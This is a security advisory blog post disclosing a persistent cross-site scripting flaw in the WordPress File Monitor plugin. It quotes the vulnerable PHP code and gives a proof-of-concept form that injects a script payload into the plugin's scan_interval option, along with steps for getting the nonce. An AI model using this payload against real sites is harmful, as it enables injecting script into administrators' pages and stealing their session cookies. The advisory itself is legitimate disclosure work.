22 Jun 2016

Persistent Cross-Site Scripting (XSS) Vulnerability in WordPress File Monitor

Recently we have been catching a lot of vulnerabilities in plugins by looking at what appear to be hackers probing for usage of plugins on our websites and looking through the plugins for security vulnerabilities. Due to the success of that we are looking for more data on that type of probing so that we can catch more vulnerabilities, so that we can warn our customers about security issues in plugins they might be using and also to limit the impact those vulnerabilities can have on others as well. Through that we came across a request for the plugin WordPress File Monitor. That is a security plugin designed to monitor for file changes, which we found has security vulnerability that would allow a hacker to cause file changes they made to be ignored and more importantly allows for persistent cross-site scripting (XSS).

The problem starts with a request for the URL /wp-admin/options-general.php?page=WordPressFileMonitor&display=alertDesc, when that is requested the following code is run:

148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
$alertDesc = get_option('wpfm_alertDesc');
?>
<form action="<?php echo get_bloginfo('wpurl'); ?>/wp-admin/options-general.php?page=WordPressFileMonitor" method="post" accept-charset="utf-8">
	<?php if (function_exists('wp_nonce_field')) { wp_nonce_field('wpfm-update-options'); } ?>
	<input type="hidden" name="msw_wpfm_action" value="clear_alert" id="msw_wpfm_action">
	<p class="submit"><input type="submit" value="<?php _e('Remove Alert', 'wordpress_file_monitor'); ?>"></p>
</form>
<?php
if (!$alertDesc) {
	// Shouldn't land in here, but just in case ...
	_e('No alert(s) to display', 'wordpress_file_monitor');
} else {
	echo str_replace("\n", "<br/>", $alertDesc);
}
exit;

The important thing to notice in that is that it generates a nonce for the action “wpfm-update-options” with the code “wp_nonce_field(‘wpfm-update-options’)”. With that you can then get access to functions to update the plugin’s options, run a scan and clear an alert:

128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
check_admin_referer('wpfm-update-options'); // Security check
switch ($_POST['msw_wpfm_action']) {
	case 'update_options':
		$this->update_options($_POST); // Update options based on form submission
		break;
	case 'scan_site':
		$this->scan_site();
		break;
	case 'clear_alert':
		$this->activeAlert = false;
		delete_option('wpfm_alert');
		delete_option('wpfm_alertDesc');
		break;
	default:
		break;
}

The update_options() function doesn’t do any sanitization on the inputs passed to it:

166
167
168
169
170
171
172
173
174
function update_options($newOptions) {
	foreach ($this->options as $option=>$value) { // Loop through post variables and get form fields corresponding to valid settings
		if ($option == 'exclude_paths' || $option == 'site_root') { $value = trim(stripslashes($value)); }
		$options[$option] = $newOptions[$option];
	}
	if (!get_option('wpfm_options')) { add_option('wpfm_options', '', null, 'no'); } // Add option if it does not exist
	update_option('wpfm_options', maybe_serialize($options)); // Set settings to new values
	$this->options = $options;
}

When the values are outputted on the plugin’s admin page, /wp-admin/options-general.php?page=WordPressFileMonitor, they are not escaped. For example, the value for “’scan_interval” is output with this line:

215
<input id="scan_interval" name="scan_interval" type="text" value="&lt;?php echo @$this->options['scan_interval']; ?>" /> (<!--?php _e('in minutes', 'wordpress_file_monitor'); ?-->, <!--?php _e('0 for Manual Scan only', 'wordpress_file_monitor'); ?-->)

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the WordPress File Monitor Options page, /wp-admin/options-general.php?page=WordPressFileMonitor.

First you need to get the value of the nonce to used in the second step. You can do that by visit the page http://[path to WordPress]/wp-admin/options-general.php?page=WordPressFileMonitor&display=alertDesc (make sure to replace “[path to WordPress]” with the location of WordPress) and in the source code find the line that starts

<input type=”hidden” id=”_wpnonce” name=”_wpnonce” value=”

The value of the input “_wpnonce” is the nonce value to be filled in at “[nonce value]”.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=WordPressFileMonitor" method="POST">
<input type="hidden" name="_wpnonce" value="[nonce value]">
<input type="hidden" name="msw_wpfm_action" value="update_options">
<input type="hidden" name="scan_interval" value=':"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/22/2016 –  WordPress.org Plugin Directory notified.
  • 6/28/2016 – Removed from Plugin Directory.

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

2 thoughts on “Persistent Cross-Site Scripting (XSS) Vulnerability in WordPress File Monitor

Leave a Reply

Your email address will not be published. Required fields are marked *